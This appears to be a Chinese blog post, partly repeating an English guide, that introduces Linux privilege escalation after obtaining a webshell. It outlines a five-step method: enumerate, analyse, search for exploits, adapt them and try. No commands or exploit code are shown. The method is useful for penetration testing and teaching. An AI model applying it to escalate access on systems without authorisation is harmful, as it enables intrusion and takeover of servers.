linux提权命令 linux服务器提权命令

在拿到一个 webshell 之后，大家首先会想到去把自己的权限提升到最高，windows 我们会提升到 SYSTEM 权限，而 Linux 我们会提升到 root 权限，拿在进行 Linux 提权的时候我们要进行哪些操作呢？需要了解哪些信息？使用什么样的命令？这些就是本文的重点。

关于Linux权限提升，有下面几个步骤：

信息收集：尽量收集更多的关于系统的信息。

数据分析：通过把收集到的数据以及信息进行分析，提取其中对我们提升权限有用的信息备用。

搜索：要知道我们需要搜索什么以及去哪里找对应的 exp 。

对症下药：修改我们搜索到的 exp ，针对不同的系统不同的情况做针对性的修改。

尝试：万事俱备，只欠东风，最后一步就是验收结果的时候了，有没有用在此一搏。

Basic Linux Privilege Escalation

Before starting, I would like to point out – I’m no expert. As far as I know, there isn’t a “magic” answer, in this huge area. This is simply my finding, typed up, to be shared (my starting point). Below is a mixture of commands to do the same thing, to look at things in a different place or just a different light. I know there more “things” to look for. It’s just a basic & rough guide. Not every command will work for each system as Linux varies so much. “It” will not jump off the screen – you’ve to hunt for that “little thing” as “the devil is in the detail“.

Enumeration is the key.

(Linux) privilege escalation is all about:

Collect – Enumeration, more enumeration and some more enumeration.
Process – Sort through data, analyse and prioritisation.
Search – Know what to search for and where to find the exploit code.
Adapt – Customize the exploit, so it fits. Not every exploit work for every system “out of the box”.
Try – Get ready for (lots of) trial and error.
